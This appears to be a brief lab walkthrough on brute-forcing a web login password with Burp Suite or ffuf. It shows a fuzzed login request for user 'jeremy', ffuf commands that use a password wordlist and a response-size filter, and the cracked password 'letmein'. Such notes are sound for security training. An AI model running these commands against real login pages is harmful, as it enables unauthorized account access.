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Brute Force w Burp (or ffuf)

Burp:

use wordlists in:

/usr/share/seclists/Passwords/

ffuf:

copy the request page:

and change the password value to FUZZ:

username=jeremy&password=FUZZ

final:

Run FFUF:

ffuf -request req.txt -request-proto http -w /usr/share/wordlists/john.lst

-w specifies the wordlist

Based on the size of incorrect, set a filter for it:

image
ffuf -request req.txt -request-proto http -w /usr/share/wordlists/john.lst -fs 1814

It finds letmein:

image